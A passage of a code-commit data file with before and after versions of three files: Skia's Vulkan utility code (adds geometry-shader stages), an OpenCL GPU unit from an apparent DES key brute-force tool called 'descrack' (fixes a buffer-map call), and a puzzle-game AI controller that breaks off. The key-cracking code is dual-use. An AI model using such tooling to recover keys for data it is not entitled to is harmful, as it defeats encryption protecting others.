R4G4B4A4 is not required to be supported so we actually\n            \/\/ store the data is if it was B4G4R4A4 and swizzle in shaders\n            *format = VK_FORMAT_B4G4R4A4_UNORM_PACK16;\n            return true;\n        case kAlpha_8_GrPixelConfig:\n            *format = VK_FORMAT_R8_UNORM;\n            return true;\n        case kGray_8_GrPixelConfig:\n            *format = VK_FORMAT_R8_UNORM;\n            return true;\n        case kRGBA_float_GrPixelConfig:\n            *format = VK_FORMAT_R32G32B32A32_SFLOAT;\n            return true;\n        case kRG_float_GrPixelConfig:\n            *format = VK_FORMAT_R32G32_SFLOAT;\n            return true;\n        case kRGBA_half_GrPixelConfig:\n            *format = VK_FORMAT_R16G16B16A16_SFLOAT;\n            return true;\n        case kAlpha_half_GrPixelConfig:\n            *format = VK_FORMAT_R16_SFLOAT;\n            return true;\n    }\n    SkFAIL(\"Unexpected config\");\n    return false;\n}\n\nGrPixelConfig GrVkFormatToPixelConfig(VkFormat format) {\n    switch (format) {\n        case VK_FORMAT_R8G8B8A8_UNORM:\n            return kRGBA_8888_GrPixelConfig;\n        case VK_FORMAT_B8G8R8A8_UNORM:\n            return kBGRA_8888_GrPixelConfig;\n        case VK_FORMAT_R8G8B8A8_SRGB:\n            return kSRGBA_8888_GrPixelConfig;\n        case VK_FORMAT_B8G8R8A8_SRGB:\n            return kSBGRA_8888_GrPixelConfig;\n        case VK_FORMAT_R8G8B8A8_SINT:\n            return kRGBA_8888_sint_GrPixelConfig;\n        case VK_FORMAT_R5G6B5_UNORM_PACK16:\n            return kRGB_565_GrPixelConfig;\n            break;\n        case VK_FORMAT_B4G4R4A4_UNORM_PACK16:\n            \/\/ R4G4B4A4 is not required to be supported so we actually\n            \/\/ store RGBA_4444 data as B4G4R4A4.\n            return kRGBA_4444_GrPixelConfig;\n        case VK_FORMAT_R8_UNORM:\n            return kAlpha_8_GrPixelConfig;\n        case VK_FORMAT_R32G32B32A32_SFLOAT:\n            return kRGBA_float_GrPixelConfig;\n        case VK_FORMAT_R32G32_SFLOAT:\n            return kRG_float_GrPixelConfig;\n        case VK_FORMAT_R16G16B16A16_SFLOAT:\n            return kRGBA_half_GrPixelConfig;\n        case VK_FORMAT_R16_SFLOAT:\n            return kAlpha_half_GrPixelConfig;\n        default:\n            return kUnknown_GrPixelConfig;\n    }\n}\n\nbool GrVkFormatIsSRGB(VkFormat format, VkFormat* linearFormat) {\n    VkFormat linearFmt = format;\n    switch (format) {\n        case VK_FORMAT_R8_SRGB:\n            linearFmt = VK_FORMAT_R8_UNORM;\n            break;\n        case VK_FORMAT_R8G8_SRGB:\n            linearFmt = VK_FORMAT_R8G8_UNORM;\n            break;\n        case VK_FORMAT_R8G8B8_SRGB:\n            linearFmt = VK_FORMAT_R8G8B8_UNORM;\n            break;\n        case VK_FORMAT_B8G8R8_SRGB:\n            linearFmt = VK_FORMAT_B8G8R8_UNORM;\n            break;\n        case VK_FORMAT_R8G8B8A8_SRGB:\n            linearFmt = VK_FORMAT_R8G8B8A8_UNORM;\n            break;\n        case VK_FORMAT_B8G8R8A8_SRGB:\n            linearFmt = VK_FORMAT_B8G8R8A8_UNORM;\n            break;\n        case VK_FORMAT_A8B8G8R8_SRGB_PACK32:\n            linearFmt = VK_FORMAT_A8B8G8R8_UNORM_PACK32;\n            break;\n        case VK_FORMAT_BC1_RGB_SRGB_BLOCK:\n            linearFmt = VK_FORMAT_BC1_RGB_UNORM_BLOCK;\n            break;\n        case VK_FORMAT_BC1_RGBA_SRGB_BLOCK:\n            linearFmt = VK_FORMAT_BC1_RGBA_UNORM_BLOCK;\n            break;\n        case VK_FORMAT_BC2_SRGB_BLOCK:\n            linearFmt = VK_FORMAT_BC2_UNORM_BLOCK;\n            break;\n        case VK_FORMAT_BC3_SRGB_BLOCK:\n            linearFmt = VK_FORMAT_BC3_UNORM_BLOCK;\n            break;\n        case VK_FORMAT_BC7_SRGB_BLOCK:\n            linearFmt = VK_FORMAT_BC7_UNORM_BLOCK;\n            break;\n        case VK_FORMAT_ETC2_R8G8B8_SRGB_BLOCK:\n            linearFmt = VK_FORMAT_ETC2_R8G8B8_UNORM_BLOCK;\n            break;\n        case VK_FORMAT_ETC2_R8G8B8A1_SRGB_BLOCK:\n            linearFmt = VK_FORMAT_ETC2_R8G8B8A1_UNORM_BLOCK;\n            break;\n        case VK_FORMAT_ETC2_R8G8B8A8_SRGB_BLOCK:\n            linearFmt = VK_FORMAT_ETC2_R8G8B8A8_UNORM_BLOCK;\n            break;\n        case VK_FORMAT_ASTC_4x4_SRGB_BLOCK:\n            linearFmt = VK_FORMAT_ASTC_4x4_UNORM_BLOCK;\n            break;\n        case VK_FORMAT_ASTC_5x4_SRGB_BLOCK:\n            linearFmt = VK_FORMAT_ASTC_5x4_UNORM_BLOCK;\n            break;\n        case VK_FORMAT_ASTC_5x5_SRGB_BLOCK:\n            linearFmt = VK_FORMAT_ASTC_5x5_UNORM_BLOCK;\n            break;\n        case VK_FORMAT_ASTC_6x5_SRGB_BLOCK:\n            linearFmt = VK_FORMAT_ASTC_6x5_UNORM_BLOCK;\n            break;\n        case VK_FORMAT_ASTC_6x6_SRGB_BLOCK:\n            linearFmt = VK_FORMAT_ASTC_6x6_UNORM_BLOCK;\n            break;\n        case VK_FORMAT_ASTC_8x5_SRGB_BLOCK:\n            linearFmt = VK_FORMAT_ASTC_8x5_UNORM_BLOCK;\n            break;\n        case VK_FORMAT_ASTC_8x6_SRGB_BLOCK:\n            linearFmt = VK_FORMAT_ASTC_8x6_UNORM_BLOCK;\n            break;\n        case VK_FORMAT_ASTC_8x8_SRGB_BLOCK:\n            linearFmt = VK_FORMAT_ASTC_8x8_UNORM_BLOCK;\n            break;\n        case VK_FORMAT_ASTC_10x5_SRGB_BLOCK:\n            linearFmt = VK_FORMAT_ASTC_10x5_UNORM_BLOCK;\n            break;\n        case VK_FORMAT_ASTC_10x6_SRGB_BLOCK:\n            linearFmt = VK_FORMAT_ASTC_10x6_UNORM_BLOCK;\n            break;\n        case VK_FORMAT_ASTC_10x8_SRGB_BLOCK:\n            linearFmt = VK_FORMAT_ASTC_10x8_UNORM_BLOCK;\n            break;\n        case VK_FORMAT_ASTC_10x10_SRGB_BLOCK:\n            linearFmt = VK_FORMAT_ASTC_10x10_UNORM_BLOCK;\n            break;\n        case VK_FORMAT_ASTC_12x10_SRGB_BLOCK:\n            linearFmt = VK_FORMAT_ASTC_12x10_UNORM_BLOCK;\n            break;\n        case VK_FORMAT_ASTC_12x12_SRGB_BLOCK:\n            linearFmt = VK_FORMAT_ASTC_12x12_UNORM_BLOCK;\n            break;\n        default:\n            break;\n    }\n    if (linearFormat) {\n        *linearFormat = linearFmt;\n    }\n    return (linearFmt != format);\n}\n\nbool GrSampleCountToVkSampleCount(uint32_t samples, VkSampleCountFlagBits* vkSamples) {\n    switch (samples) {\n        case 0: \/\/ fall through\n        case 1:\n            *vkSamples = VK_SAMPLE_COUNT_1_BIT;\n            return true;\n        case 2:\n            *vkSamples = VK_SAMPLE_COUNT_2_BIT;\n            return true;\n        case 4:\n            *vkSamples = VK_SAMPLE_COUNT_4_BIT;\n            return true;\n        case 8:\n            *vkSamples = VK_SAMPLE_COUNT_8_BIT;\n            return true;\n        case 16:\n            *vkSamples = VK_SAMPLE_COUNT_16_BIT;\n            return true;\n        case 32:\n            *vkSamples = VK_SAMPLE_COUNT_32_BIT;\n            return true;\n        case 64:\n            *vkSamples = VK_SAMPLE_COUNT_64_BIT;\n            return true;\n        default:\n            return false;\n    }\n}\n\nSkSL::Program::Kind vk_shader_stage_to_skiasl_kind(VkShaderStageFlagBits stage) {\n    if (VK_SHADER_STAGE_VERTEX_BIT == stage) {\n        return SkSL::Program::kVertex_Kind;\n    }\n    SkASSERT(VK_SHADER_STAGE_FRAGMENT_BIT == stage);\n    return SkSL::Program::kFragment_Kind;\n}\n\nVkShaderStageFlagBits skiasl_kind_to_vk_shader_stage(SkSL::Program::Kind kind) {\n    if (SkSL::Program::kVertex_Kind == kind) {\n        return VK_SHADER_STAGE_VERTEX_BIT;\n    }\n    SkASSERT(SkSL::Program::kFragment_Kind == kind);\n    return VK_SHADER_STAGE_FRAGMENT_BIT;\n}\n\nbool GrCompileVkShaderModule(const GrVkGpu* gpu,\n                             const char* shaderString,\n                             VkShaderStageFlagBits stage,\n                             VkShaderModule* shaderModule,\n                             VkPipelineShaderStageCreateInfo* stageInfo,\n                             const SkSL::Program::Settings& settings,\n                             SkSL::Program::Inputs* outInputs) {\n    std::unique_ptr<SkSL::Program> program = gpu->shaderCompiler()->convertProgram(\n                                                              vk_shader_stage_to_skiasl_kind(stage),\n                                                              SkString(shaderString),\n                                                              settings);\n    if (!program) {\n        SkDebugf(\"SkSL error:\\n%s\\n\", gpu->shaderCompiler()->errorText().c_str());\n        SkASSERT(false);\n    }\n    *outInputs = program->fInputs;\n    SkSL::String code;\n    if (!gpu->shaderCompiler()->toSPIRV(*program, &code)) {\n        SkDebugf(\"%s\\n\", gpu->shaderCompiler()->errorText().c_str());\n        return false;\n    }\n\n    VkShaderModuleCreateInfo moduleCreateInfo;\n    memset(&moduleCreateInfo, 0, sizeof(VkShaderModuleCreateInfo));\n    moduleCreateInfo.sType = VK_STRUCTURE_TYPE_SHADER_MODULE_CREATE_INFO;\n    moduleCreateInfo.pNext = nullptr;\n    moduleCreateInfo.flags = 0;\n    moduleCreateInfo.codeSize = code.size();\n    moduleCreateInfo.pCode = (const uint32_t*)code.c_str();\n\n    VkResult err = GR_VK_CALL(gpu->vkInterface(), CreateShaderModule(gpu->device(),\n                                                                     &moduleCreateInfo,\n                                                                     nullptr,\n                                                                     shaderModule));\n    if (err) {\n        return false;\n    }\n\n    memset(stageInfo, 0, sizeof(VkPipelineShaderStageCreateInfo));\n    stageInfo->sType = VK_STRUCTURE_TYPE_PIPELINE_SHADER_STAGE_CREATE_INFO;\n    stageInfo->pNext = nullptr;\n    stageInfo->flags = 0;\n    stageInfo->stage = skiasl_kind_to_vk_shader_stage(program->fKind);\n    stageInfo->module = *shaderModule;\n    stageInfo->pName = \"main\";\n    stageInfo->pSpecializationInfo = nullptr;\n\n    return true;\n}\n<commit_msg>Add missing checks for geometry shader stages in GrVkUtil.cpp<commit_after>\/*\n * Copyright 2015 Google Inc.\n *\n * Use of this source code is governed by a BSD-style license that can be\n * found in the LICENSE file.\n *\/\n\n#include \"GrVkUtil.h\"\n\n#include \"vk\/GrVkGpu.h\"\n#include \"SkSLCompiler.h\"\n\nbool GrPixelConfigToVkFormat(GrPixelConfig config, VkFormat* format) {\n    VkFormat dontCare;\n    if (!format) {\n        format = &dontCare;\n    }\n\n    switch (config) {\n        case kUnknown_GrPixelConfig:\n            return false;\n        case kRGBA_8888_GrPixelConfig:\n            *format = VK_FORMAT_R8G8B8A8_UNORM;\n            return true;\n        case kBGRA_8888_GrPixelConfig:\n            *format = VK_FORMAT_B8G8R8A8_UNORM;\n            return true;\n        case kSRGBA_8888_GrPixelConfig:\n            *format = VK_FORMAT_R8G8B8A8_SRGB;\n            return true;\n        case kSBGRA_8888_GrPixelConfig:\n            *format = VK_FORMAT_B8G8R8A8_SRGB;\n            return true;\n        case kRGBA_8888_sint_GrPixelConfig:\n            *format = VK_FORMAT_R8G8B8A8_SINT;\n            return true;\n        case kRGB_565_GrPixelConfig:\n            *format = VK_FORMAT_R5G6B5_UNORM_PACK16;\n            return true;\n        case kRGBA_4444_GrPixelConfig:\n            \/\/ R4G4B4A4 is not required to be supported so we actually\n            \/\/ store the data is if it was B4G4R4A4 and swizzle in shaders\n            *format = VK_FORMAT_B4G4R4A4_UNORM_PACK16;\n            return true;\n        case kAlpha_8_GrPixelConfig:\n            *format = VK_FORMAT_R8_UNORM;\n            return true;\n        case kGray_8_GrPixelConfig:\n            *format = VK_FORMAT_R8_UNORM;\n            return true;\n        case kRGBA_float_GrPixelConfig:\n            *format = VK_FORMAT_R32G32B32A32_SFLOAT;\n            return true;\n        case kRG_float_GrPixelConfig:\n            *format = VK_FORMAT_R32G32_SFLOAT;\n            return true;\n        case kRGBA_half_GrPixelConfig:\n            *format = VK_FORMAT_R16G16B16A16_SFLOAT;\n            return true;\n        case kAlpha_half_GrPixelConfig:\n            *format = VK_FORMAT_R16_SFLOAT;\n            return true;\n    }\n    SkFAIL(\"Unexpected config\");\n    return false;\n}\n\nGrPixelConfig GrVkFormatToPixelConfig(VkFormat format) {\n    switch (format) {\n        case VK_FORMAT_R8G8B8A8_UNORM:\n            return kRGBA_8888_GrPixelConfig;\n        case VK_FORMAT_B8G8R8A8_UNORM:\n            return kBGRA_8888_GrPixelConfig;\n        case VK_FORMAT_R8G8B8A8_SRGB:\n            return kSRGBA_8888_GrPixelConfig;\n        case VK_FORMAT_B8G8R8A8_SRGB:\n            return kSBGRA_8888_GrPixelConfig;\n        case VK_FORMAT_R8G8B8A8_SINT:\n            return kRGBA_8888_sint_GrPixelConfig;\n        case VK_FORMAT_R5G6B5_UNORM_PACK16:\n            return kRGB_565_GrPixelConfig;\n            break;\n        case VK_FORMAT_B4G4R4A4_UNORM_PACK16:\n            \/\/ R4G4B4A4 is not required to be supported so we actually\n            \/\/ store RGBA_4444 data as B4G4R4A4.\n            return kRGBA_4444_GrPixelConfig;\n        case VK_FORMAT_R8_UNORM:\n            return kAlpha_8_GrPixelConfig;\n        case VK_FORMAT_R32G32B32A32_SFLOAT:\n            return kRGBA_float_GrPixelConfig;\n        case VK_FORMAT_R32G32_SFLOAT:\n            return kRG_float_GrPixelConfig;\n        case VK_FORMAT_R16G16B16A16_SFLOAT:\n            return kRGBA_half_GrPixelConfig;\n        case VK_FORMAT_R16_SFLOAT:\n            return kAlpha_half_GrPixelConfig;\n        default:\n            return kUnknown_GrPixelConfig;\n    }\n}\n\nbool GrVkFormatIsSRGB(VkFormat format, VkFormat* linearFormat) {\n    VkFormat linearFmt = format;\n    switch (format) {\n        case VK_FORMAT_R8_SRGB:\n            linearFmt = VK_FORMAT_R8_UNORM;\n            break;\n        case VK_FORMAT_R8G8_SRGB:\n            linearFmt = VK_FORMAT_R8G8_UNORM;\n            break;\n        case VK_FORMAT_R8G8B8_SRGB:\n            linearFmt = VK_FORMAT_R8G8B8_UNORM;\n            break;\n        case VK_FORMAT_B8G8R8_SRGB:\n            linearFmt = VK_FORMAT_B8G8R8_UNORM;\n            break;\n        case VK_FORMAT_R8G8B8A8_SRGB:\n            linearFmt = VK_FORMAT_R8G8B8A8_UNORM;\n            break;\n        case VK_FORMAT_B8G8R8A8_SRGB:\n            linearFmt = VK_FORMAT_B8G8R8A8_UNORM;\n            break;\n        case VK_FORMAT_A8B8G8R8_SRGB_PACK32:\n            linearFmt = VK_FORMAT_A8B8G8R8_UNORM_PACK32;\n            break;\n        case VK_FORMAT_BC1_RGB_SRGB_BLOCK:\n            linearFmt = VK_FORMAT_BC1_RGB_UNORM_BLOCK;\n            break;\n        case VK_FORMAT_BC1_RGBA_SRGB_BLOCK:\n            linearFmt = VK_FORMAT_BC1_RGBA_UNORM_BLOCK;\n            break;\n        case VK_FORMAT_BC2_SRGB_BLOCK:\n            linearFmt = VK_FORMAT_BC2_UNORM_BLOCK;\n            break;\n        case VK_FORMAT_BC3_SRGB_BLOCK:\n            linearFmt = VK_FORMAT_BC3_UNORM_BLOCK;\n            break;\n        case VK_FORMAT_BC7_SRGB_BLOCK:\n            linearFmt = VK_FORMAT_BC7_UNORM_BLOCK;\n            break;\n        case VK_FORMAT_ETC2_R8G8B8_SRGB_BLOCK:\n            linearFmt = VK_FORMAT_ETC2_R8G8B8_UNORM_BLOCK;\n            break;\n        case VK_FORMAT_ETC2_R8G8B8A1_SRGB_BLOCK:\n            linearFmt = VK_FORMAT_ETC2_R8G8B8A1_UNORM_BLOCK;\n            break;\n        case VK_FORMAT_ETC2_R8G8B8A8_SRGB_BLOCK:\n            linearFmt = VK_FORMAT_ETC2_R8G8B8A8_UNORM_BLOCK;\n            break;\n        case VK_FORMAT_ASTC_4x4_SRGB_BLOCK:\n            linearFmt = VK_FORMAT_ASTC_4x4_UNORM_BLOCK;\n            break;\n        case VK_FORMAT_ASTC_5x4_SRGB_BLOCK:\n            linearFmt = VK_FORMAT_ASTC_5x4_UNORM_BLOCK;\n            break;\n        case VK_FORMAT_ASTC_5x5_SRGB_BLOCK:\n            linearFmt = VK_FORMAT_ASTC_5x5_UNORM_BLOCK;\n            break;\n        case VK_FORMAT_ASTC_6x5_SRGB_BLOCK:\n            linearFmt = VK_FORMAT_ASTC_6x5_UNORM_BLOCK;\n            break;\n        case VK_FORMAT_ASTC_6x6_SRGB_BLOCK:\n            linearFmt = VK_FORMAT_ASTC_6x6_UNORM_BLOCK;\n            break;\n        case VK_FORMAT_ASTC_8x5_SRGB_BLOCK:\n            linearFmt = VK_FORMAT_ASTC_8x5_UNORM_BLOCK;\n            break;\n        case VK_FORMAT_ASTC_8x6_SRGB_BLOCK:\n            linearFmt = VK_FORMAT_ASTC_8x6_UNORM_BLOCK;\n            break;\n        case VK_FORMAT_ASTC_8x8_SRGB_BLOCK:\n            linearFmt = VK_FORMAT_ASTC_8x8_UNORM_BLOCK;\n            break;\n        case VK_FORMAT_ASTC_10x5_SRGB_BLOCK:\n            linearFmt = VK_FORMAT_ASTC_10x5_UNORM_BLOCK;\n            break;\n        case VK_FORMAT_ASTC_10x6_SRGB_BLOCK:\n            linearFmt = VK_FORMAT_ASTC_10x6_UNORM_BLOCK;\n            break;\n        case VK_FORMAT_ASTC_10x8_SRGB_BLOCK:\n            linearFmt = VK_FORMAT_ASTC_10x8_UNORM_BLOCK;\n            break;\n        case VK_FORMAT_ASTC_10x10_SRGB_BLOCK:\n            linearFmt = VK_FORMAT_ASTC_10x10_UNORM_BLOCK;\n            break;\n        case VK_FORMAT_ASTC_12x10_SRGB_BLOCK:\n            linearFmt = VK_FORMAT_ASTC_12x10_UNORM_BLOCK;\n            break;\n        case VK_FORMAT_ASTC_12x12_SRGB_BLOCK:\n            linearFmt = VK_FORMAT_ASTC_12x12_UNORM_BLOCK;\n            break;\n        default:\n            break;\n    }\n    if (linearFormat) {\n        *linearFormat = linearFmt;\n    }\n    return (linearFmt != format);\n}\n\nbool GrSampleCountToVkSampleCount(uint32_t samples, VkSampleCountFlagBits* vkSamples) {\n    switch (samples) {\n        case 0: \/\/ fall through\n        case 1:\n            *vkSamples = VK_SAMPLE_COUNT_1_BIT;\n            return true;\n        case 2:\n            *vkSamples = VK_SAMPLE_COUNT_2_BIT;\n            return true;\n        case 4:\n            *vkSamples = VK_SAMPLE_COUNT_4_BIT;\n            return true;\n        case 8:\n            *vkSamples = VK_SAMPLE_COUNT_8_BIT;\n            return true;\n        case 16:\n            *vkSamples = VK_SAMPLE_COUNT_16_BIT;\n            return true;\n        case 32:\n            *vkSamples = VK_SAMPLE_COUNT_32_BIT;\n            return true;\n        case 64:\n            *vkSamples = VK_SAMPLE_COUNT_64_BIT;\n            return true;\n        default:\n            return false;\n    }\n}\n\nSkSL::Program::Kind vk_shader_stage_to_skiasl_kind(VkShaderStageFlagBits stage) {\n    if (VK_SHADER_STAGE_VERTEX_BIT == stage) {\n        return SkSL::Program::kVertex_Kind;\n    }\n    if (VK_SHADER_STAGE_GEOMETRY_BIT == stage) {\n        return SkSL::Program::kGeometry_Kind;\n    }\n    SkASSERT(VK_SHADER_STAGE_FRAGMENT_BIT == stage);\n    return SkSL::Program::kFragment_Kind;\n}\n\nVkShaderStageFlagBits skiasl_kind_to_vk_shader_stage(SkSL::Program::Kind kind) {\n    if (SkSL::Program::kVertex_Kind == kind) {\n        return VK_SHADER_STAGE_VERTEX_BIT;\n    }\n    if (SkSL::Program::kGeometry_Kind == kind) {\n        return VK_SHADER_STAGE_GEOMETRY_BIT;\n    }\n    SkASSERT(SkSL::Program::kFragment_Kind == kind);\n    return VK_SHADER_STAGE_FRAGMENT_BIT;\n}\n\nbool GrCompileVkShaderModule(const GrVkGpu* gpu,\n                             const char* shaderString,\n                             VkShaderStageFlagBits stage,\n                             VkShaderModule* shaderModule,\n                             VkPipelineShaderStageCreateInfo* stageInfo,\n                             const SkSL::Program::Settings& settings,\n                             SkSL::Program::Inputs* outInputs) {\n    std::unique_ptr<SkSL::Program> program = gpu->shaderCompiler()->convertProgram(\n                                                              vk_shader_stage_to_skiasl_kind(stage),\n                                                              SkString(shaderString),\n                                                              settings);\n    if (!program) {\n        SkDebugf(\"SkSL error:\\n%s\\n\", gpu->shaderCompiler()->errorText().c_str());\n        SkASSERT(false);\n    }\n    *outInputs = program->fInputs;\n    SkSL::String code;\n    if (!gpu->shaderCompiler()->toSPIRV(*program, &code)) {\n        SkDebugf(\"%s\\n\", gpu->shaderCompiler()->errorText().c_str());\n        return false;\n    }\n\n    VkShaderModuleCreateInfo moduleCreateInfo;\n    memset(&moduleCreateInfo, 0, sizeof(VkShaderModuleCreateInfo));\n    moduleCreateInfo.sType = VK_STRUCTURE_TYPE_SHADER_MODULE_CREATE_INFO;\n    moduleCreateInfo.pNext = nullptr;\n    moduleCreateInfo.flags = 0;\n    moduleCreateInfo.codeSize = code.size();\n    moduleCreateInfo.pCode = (const uint32_t*)code.c_str();\n\n    VkResult err = GR_VK_CALL(gpu->vkInterface(), CreateShaderModule(gpu->device(),\n                                                                     &moduleCreateInfo,\n                                                                     nullptr,\n                                                                     shaderModule));\n    if (err) {\n        return false;\n    }\n\n    memset(stageInfo, 0, sizeof(VkPipelineShaderStageCreateInfo));\n    stageInfo->sType = VK_STRUCTURE_TYPE_PIPELINE_SHADER_STAGE_CREATE_INFO;\n    stageInfo->pNext = nullptr;\n    stageInfo->flags = 0;\n    stageInfo->stage = skiasl_kind_to_vk_shader_stage(program->fKind);\n    stageInfo->module = *shaderModule;\n    stageInfo->pName = \"main\";\n    stageInfo->pSpecializationInfo = nullptr;\n\n    return true;\n}\n<|endoftext|>"}
{"text":"<commit_before>#include \"processingunit.h\"\n\n#include \"alignment.h\"\n#include \"desutils.h\"\n\nnamespace descrack {\nnamespace opencl {\nnamespace gpu {\n\nstatic constexpr std::size_t MAX_FOUND_KEYS = 16;\n\nProcessingUnit::ProcessingUnit(const DeviceContext *context,\n                               std::size_t bitsThread)\n    : context(context), cmdQueue(context->getCommandQueue())\n{\n    auto programContext = context->getProgramContext();\n    auto dlContext = programContext->getDeviceListContext();\n    auto &clContext = dlContext->getClContext();\n    auto &device = context->getDevice();\n\n    auto bitsGlobal = programContext->getBitsGlobal();\n\n    kernel = cl::Kernel(programContext->getProgram(), \"des_kernel\");\n\n    items = std::size_t(1) << (bitsGlobal - bitsThread);\n    resultBits = programContext->getVectorLevel() + bitsGlobal;\n\n    groupSize = std::min(items, kernel.getWorkGroupInfo<CL_KERNEL_WORK_GROUP_SIZE>(device));\n    groupCount = BLOCK_COUNT(groupSize, items);\n\n    cdBaseBufferSize = (56 - bitsGlobal) * programContext->getVectorBytes();\n    resultBufferSize = (MAX_FOUND_KEYS + 1) * sizeof(cl_uint);\n\n    cdBaseBuffer = cl::Buffer(clContext, CL_MEM_READ_ONLY, cdBaseBufferSize);\n    resultBuffer = cl::Buffer(clContext, CL_MEM_WRITE_ONLY, resultBufferSize);\n\n    kernel.setArg<cl::Buffer>(0, programContext->getRefInputBuffer());\n    kernel.setArg<cl::Buffer>(1, programContext->getRefOutputBuffer());\n    kernel.setArg<cl::Buffer>(2, cdBaseBuffer);\n    kernel.setArg<cl::Buffer>(3, resultBuffer);\n    kernel.setArg<cl_uint>   (4, static_cast<cl_uint>(bitsThread));\n}\n\nvoid ProcessingUnit::setBatch(std::uint_fast64_t index)\n{\n    batch = index;\n    void *hostBuffer = cmdQueue.enqueueMapBuffer(\n                cdBaseBuffer, true, CL_MAP_WRITE,\n                0, cdBaseBufferSize);\n\n    auto programContext = context->getProgramContext();\n    programContext->writeCdBase(hostBuffer, index);\n\n    cmdQueue.enqueueUnmapMemObject(cdBaseBuffer, hostBuffer);\n}\n\nbool ProcessingUnit::getResult(std::uint_fast64_t &key)\n{\n    auto mappedResultBuffer = static_cast<cl_uint *>(\n                cmdQueue.enqueueMapBuffer(\n                    resultBuffer, true, CL_MAP_READ, 0,\n                    resultBufferSize, nullptr, &event));\n\n    \/\/ FIXME: allow reporting multiple found keys (just in case)\n    bool res = false;\n    auto count = mappedResultBuffer[0];\n    if (count > 0) {\n        std::uint_fast64_t cd = (batch << resultBits) |\n                std::uint_fast64_t(mappedResultBuffer[1]);\n        key = DesUtils::keyFromCd(cd);\n        res = true;\n    }\n    cmdQueue.enqueueUnmapMemObject(resultBuffer, mappedResultBuffer);\n    return res;\n}\n\nvoid ProcessingUnit::beginProcessing()\n{\n    cmdQueue.enqueueNDRangeKernel(\n                kernel, cl::NullRange, cl::NDRange(items), cl::NDRange(groupSize),\n                nullptr, &event);\n}\n\nvoid ProcessingUnit::endProcessing()\n{\n    event.wait();\n    event = cl::Event();\n}\n\n} \/\/ namespace gpu\n} \/\/ namespace opencl\n} \/\/ namespace descrack\n<commit_msg>Fixed a copy-paste mistake.<commit_after>#include \"processingunit.h\"\n\n#include \"alignment.h\"\n#include \"desutils.h\"\n\nnamespace descrack {\nnamespace opencl {\nnamespace gpu {\n\nstatic constexpr std::size_t MAX_FOUND_KEYS = 16;\n\nProcessingUnit::ProcessingUnit(const DeviceContext *context,\n                               std::size_t bitsThread)\n    : context(context), cmdQueue(context->getCommandQueue())\n{\n    auto programContext = context->getProgramContext();\n    auto dlContext = programContext->getDeviceListContext();\n    auto &clContext = dlContext->getClContext();\n    auto &device = context->getDevice();\n\n    auto bitsGlobal = programContext->getBitsGlobal();\n\n    kernel = cl::Kernel(programContext->getProgram(), \"des_kernel\");\n\n    items = std::size_t(1) << (bitsGlobal - bitsThread);\n    resultBits = programContext->getVectorLevel() + bitsGlobal;\n\n    groupSize = std::min(items, kernel.getWorkGroupInfo<CL_KERNEL_WORK_GROUP_SIZE>(device));\n    groupCount = BLOCK_COUNT(groupSize, items);\n\n    cdBaseBufferSize = (56 - bitsGlobal) * programContext->getVectorBytes();\n    resultBufferSize = (MAX_FOUND_KEYS + 1) * sizeof(cl_uint);\n\n    cdBaseBuffer = cl::Buffer(clContext, CL_MEM_READ_ONLY, cdBaseBufferSize);\n    resultBuffer = cl::Buffer(clContext, CL_MEM_WRITE_ONLY, resultBufferSize);\n\n    kernel.setArg<cl::Buffer>(0, programContext->getRefInputBuffer());\n    kernel.setArg<cl::Buffer>(1, programContext->getRefOutputBuffer());\n    kernel.setArg<cl::Buffer>(2, cdBaseBuffer);\n    kernel.setArg<cl::Buffer>(3, resultBuffer);\n    kernel.setArg<cl_uint>   (4, static_cast<cl_uint>(bitsThread));\n}\n\nvoid ProcessingUnit::setBatch(std::uint_fast64_t index)\n{\n    batch = index;\n    void *hostBuffer = cmdQueue.enqueueMapBuffer(\n                cdBaseBuffer, true, CL_MAP_WRITE,\n                0, cdBaseBufferSize);\n\n    auto programContext = context->getProgramContext();\n    programContext->writeCdBase(hostBuffer, index);\n\n    cmdQueue.enqueueUnmapMemObject(cdBaseBuffer, hostBuffer);\n}\n\nbool ProcessingUnit::getResult(std::uint_fast64_t &key)\n{\n    auto mappedResultBuffer = static_cast<cl_uint *>(\n                cmdQueue.enqueueMapBuffer(\n                    resultBuffer, true, CL_MAP_READ,\n                    0, resultBufferSize));\n\n    \/\/ FIXME: allow reporting multiple found keys (just in case)\n    bool res = false;\n    auto count = mappedResultBuffer[0];\n    if (count > 0) {\n        std::uint_fast64_t cd = (batch << resultBits) |\n                std::uint_fast64_t(mappedResultBuffer[1]);\n        key = DesUtils::keyFromCd(cd);\n        res = true;\n    }\n    cmdQueue.enqueueUnmapMemObject(resultBuffer, mappedResultBuffer);\n    return res;\n}\n\nvoid ProcessingUnit::beginProcessing()\n{\n    cmdQueue.enqueueNDRangeKernel(\n                kernel, cl::NullRange, cl::NDRange(items), cl::NDRange(groupSize),\n                nullptr, &event);\n}\n\nvoid ProcessingUnit::endProcessing()\n{\n    event.wait();\n    event = cl::Event();\n}\n\n} \/\/ namespace gpu\n} \/\/ namespace opencl\n} \/\/ namespace descrack\n<|endoftext|>"}
{"text":"<commit_before>#include \"aicontroller.h\"\r\n\r\n#include \"hardware.h\"\r\n#include \"gamefont.h\"\r\n#include \"woopsistring.h\"\r\n\r\n\/\/ TODO: Doesn't check if it can rotate\/move to the desired co-ordinate from\r\n\/\/ the current position.  This should probably be re-examined every time the AI\r\n\/\/ has the chance to move.\r\n\r\nAIController::AIController(s32 hesitation) {\r\n\t_gridRunner = NULL;\r\n\t_lastLiveBlockY = Grid::GRID_HEIGHT;\r\n\t_targetX = 0;\r\n\t_targetRotations = 0;\r\n\t_hesitation = hesitation;\r\n}\r\n\r\nvoid AIController::setGridRunner(const GridRunner* gridRunner) {\r\n\t_gridRunner = gridRunner;\r\n}\r\n\r\nvoid AIController::analyseGrid() {\r\n\r\n\tconst Grid* grid = _gridRunner->getGrid();\r\n\r\n\tPoint liveBlock1;\r\n\tPoint liveBlock2;\r\n\r\n\tgrid->getLiveBlockPoints(liveBlock1, liveBlock2);\r\n\r\n\t\/\/ If last observed y is greater than current live block y, we'll need\r\n\t\/\/ to choose a new move\r\n\tif (_lastLiveBlockY <= liveBlock1.y) {\r\n\t\t_lastLiveBlockY = liveBlock1.y < liveBlock2.y ? liveBlock1.y : liveBlock2.y;\r\n\t\treturn;\r\n\t}\r\n\t\r\n\t_lastLiveBlockY = liveBlock1.y < liveBlock2.y ? liveBlock1.y : liveBlock2.y;\r\n\r\n\t\/\/ Get the y co-ords of the topmost blank block in each column\r\n\ts32* columnYCoords = new s32[Grid::GRID_WIDTH];\r\n\r\n\tfor (s32 i = 0; i < Grid::GRID_WIDTH; ++i) {\r\n\t\tcolumnYCoords[i] = 